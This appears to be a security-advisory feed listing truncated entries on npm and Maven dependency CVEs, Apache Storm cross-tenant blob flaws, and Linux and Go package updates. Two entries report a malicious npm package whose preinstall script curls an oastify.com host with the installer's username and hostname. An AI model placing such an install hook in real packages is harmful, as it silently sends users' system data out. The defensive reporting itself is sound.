@activeboxes/piece-image-helper (0.1.0), @activepieces/piece-image-helper (>=0.0.5, <=0.1.15) +68 more potentially affected by CVE-2026-53496 via exifreader (>=2.8.2, <=4.39.1)

exifreader NPM version =2.8.2, =0.0.5, =1.8.0-dev.1617120897319, =1.0.2, =2.2.8, =2.1.11, =1.1.17, =1.0.6, =0.5.0, =0.0.17, =4.10.0, =4.10.2 and more Source cves: CVE-2026-53496 Source advisory: MEND:CVE-2026-53496...

MAL-2026-16144 Malicious code in app-rrhh (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...

Malicious code in app-rrhh (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector cda153823a2c046e4d97069c84961e1a8b302fc425e238fce36bd8a205d19b88 package.json declares a preinstall script that runs curl http://ebtld4p8aq3rl950g6jgn217aygp4fs4.oastify.com/$whoami/$hostname on npm install. The...

CVE-2026-82428

Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...

org.apache.syncope.client.am:syncope-client-am-console (>=4.0.4, <=4.0.7), org.apache.syncope.client.am:syncope-client-am-enduser (>=4.0.4, <=4.0.7) +12 more potentially affected by CVE-2026-78318 via org.apache.syncope.client.idrepo:syncope-client-idrepo-common-ui (>=4.0.4, <=4.0.7)

org.apache.syncope.client.idrepo:syncope-client-idrepo-common-ui MAVEN version =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4, =4.0.4,...

EUVD-2026-77529

Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...

CVE-2026-82428 Apache Storm Client: Cross-Tenant Dependency Jar Substitution via Predictable Blob Keys

Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...

CVE-2026-82428 Apache Storm Client: Cross-Tenant Dependency Jar Substitution via Predictable Blob Keys

Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...

CVE-2026-82428

The Apache Storm Client is vulnerable to cross-tenant dependency jar substitution due to predictable blob keys. When using the storm jar --artifacts feature, dependency artifacts are stored under keys derived solely from Maven coordinates (e.g., dep---.jar). Because these keys are predictable and...

OPENSUSE-SU-2026:21846-1 Security update for keybase-client

This update for keybase-client fixes the following issues: Changes in keybase-client: - CVE-2026-56855,CVE-2026-56854,CVE-2026-78662: authentication bypass and deadlocks in the crypto/ssh library Add update-go-crypto.patch to update affected dependency bsc1278586. - Update to go 1.26 as required ...

CVE-2026-82441

Apache Storm Nimbus is vulnerable to cross-tenant blob deletion and a cluster denial of service due to improper validation of dependency_jars and dependency_artifacts keys in submitted topologies. Because Nimbus performs no validation on the submission path, a malicious submitter can list keys be...

CVE-2026-82441 Apache Storm Nimbus: Cross-Tenant Blob Deletion and Cluster Denial of Service via Unvalidated Topology Dependency Keys

Description A submitted topology carries two lists of blobstore keys, dependencyjars and dependencyartifacts, which the client fills in after uploading the corresponding blobs. Nimbus performed no validation of their contents on the submission path, yet acts on them in two places. During cleanup ...

Astra Linux – Vulnerability in Linux 6.1

In the Linux kernel, the following vulnerabilities have been resolved: mm/hugetlb: fixed DEBUGLOCKSWARNON1 when dissolvefreehugetlbfolio When I conducted memory failure tests recently, the following warning occurred: DEBUGLOCKSWARNON1 WARNING: CPU: 8 PID: 1011 at kernel/locking/lockdep.c:232...

org.apache.syncope.ext.oidcc4ui:syncope-ext-oidcc4ui-rest-cxf (>=4.0.0-m0, <=4.0.7) potentially affected by CVE-2026-78336 via org.apache.syncope.ext.oidcc4ui:syncope-ext-oidcc4ui-logic (>=4.0.0-m0, <=4.0.7)

org.apache.syncope.ext.oidcc4ui:syncope-ext-oidcc4ui-logic MAVEN version =4.0.0-m0, =4.0.0-m0, =4.0.7 Source cves: CVE-2026-78336 Source advisory: MEND:CVE-2026-78336...

@aliceo2/bookkeeping (>=1.19.0, <=1.20.0), @beyondnet/evolith-cli (>=1.2.0, <=1.3.2) +67 more potentially affected by CVE-2026-88932 via multer (>=2.2.0, <=2.3.0)

multer NPM version =2.2.0, =1.19.0, =1.2.0, =1.2.0, =2026.7.0, =5.7.5, =11.1.29-depup.0, =0.1.0, =0.1.0, =11.0.62, =1.2.34, =12.0.0, =3.0.0, =3.0.0, =3.0.0, =3.0.1 and more Source cves: CVE-2026-88932 Source advisory: SNYK:JS-MULTER-19785644...

Important: Red Hat Security Advisory: osbuild-composer security update

An update for osbuild-composer is now available for Red Hat Enterprise Linux 8. Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System CVSS base score, which gives a detailed severity rating, is available for each vulnerabili...

PT-2026-91226

Description Dependency artifacts uploaded with storm jar --artifacts were stored under a blob key derived only from the Maven coordinate, for example dep---.jar. The key was therefore identical for every user of the cluster and predictable in advance. When the blob already existed, the uploader...

ALSA-2026:67161 Important: git-lfs security update

Git Large File Storage LFS replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server. Security Fixes: encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal...

Important: git-lfs security update

Git Large File Storage LFS replaces large files such as audio samples, videos, datasets, and graphics with text pointers inside Git, while storing the file contents on a remote server. Security Fixes: encoding/asn1: golang: Go encoding/asn1: Denial of Service via excessive recursion in Unmarshal...

PT-2026-91235

Description A submitted topology carries two lists of blobstore keys, dependency jars and dependency artifacts, which the client fills in after uploading the corresponding blobs. Nimbus performed no validation of their contents on the submission path, yet acts on them in two places. During cleanu...